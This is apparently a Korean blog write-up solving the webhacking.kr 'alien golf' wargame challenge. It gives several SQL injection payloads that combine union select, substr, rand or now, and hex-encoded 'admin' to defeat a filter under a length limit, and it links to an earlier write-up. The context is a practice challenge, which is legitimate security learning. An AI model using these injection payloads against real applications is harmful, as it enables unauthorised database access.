Webhacking alien golf문제입니다.
LOS alien문제와 동일한 sandbox탈출 문제입니다.
https://skysquirrel.tistory.com/132
(Lord of SQLInjection) alien 문제
(Lord of SQLInjection) alien 문제입니다. 먼저 제공되는 소스코드를 보면 쿼리가 두개 존재합니다. 그런데 GET으로 받는 건 no한번뿐이며 한번 입력한 no가 첫번째 쿼리와 두번째 쿼리에 사용되고 있습
skysquirrel.tistory.com
LOS에서 풀었던 alien문제와 다르게 필터링은 admin과 if 만을 하고 있습니다.
이전 LOS에서 사용했던 코드를 그대로 사용해보면
payload가 너무 길어 nice try :) 가 출력됩니다.
LOS와 다르게
최대길이 140으로 길이가 적을수록 점수를 5점씩 더받을 수 있다고 합니다.
일단 다른 payload는 생각나는 것이 없어 현재 3초텀을 두고 있는 부분을 1초로 줄이기로 했습니다.
1 union select substr(0x61646d696e, now()%2, 5) union select sleep(2)%23'%0a union select substr(0x61646d696e, now()%2%2b1, 5) union select sleep(1)%23
1 union select substr(0x61646d696e, now()%2, 5)%23'%0a union select substr(0x61646d696e, now()%2%2b1, 5) union select sleep(1)%23
첫번째 코드에서 union select sleep(2)를 없애서 1초단위로 줄였습니다.
이전에 3초로 둔 이유는 확실하게 1초는 너무 짧아 눈으로 보기가 어려워서인데
페이로드 길이가 길어지니 1초로 줄여서 값을 전달해보면
문제가 해결되었습니다!
(해결했을 때의 화면을 캡쳐하지 못했고 이미 포인트를 얻어 포인트를 얻을 수 없다는 출력입니다.)
P.S
문제를 해결하고 난뒤 페이로드를 더 줄이는게 가능한 LOS의 alien 라이트업을 찾게되어
payload와 함께 참고한 라이트업 자료를 남깁니다.
0 union select replace(round(rand()),1,0x61646d696e)%23' union select replace(round(rand()),1,0x61646d696e)%23
점수를 더 얻기 위해 위 코드와 라이트업에서 사용한 코드를 합쳐 추가로 구성한 전달 값을 남깁니다.
0 union select substr(0x61646d696e,round(rand()),5)%23'union select substr(0x61646d696e,round(rand()),5)%23
Reference
1. https://blog.limelee.xyz/entry/LOS-alien
'Wargame(Web) > Webhacking.kr Writeup' 카테고리의 다른 글
Webhacking Writeup old-47 문제 (0) | 2022.12.05 |
---|---|
Webhacking Writeup old-02 문제 (0) | 2022.12.05 |
Webhacking Writeup 30번 문제 (0) | 2022.10.28 |
Webhacking Writeup 28번 문제 (1) | 2022.10.13 |
Webhacking Writeup 35번 문제 (0) | 2022.09.26 |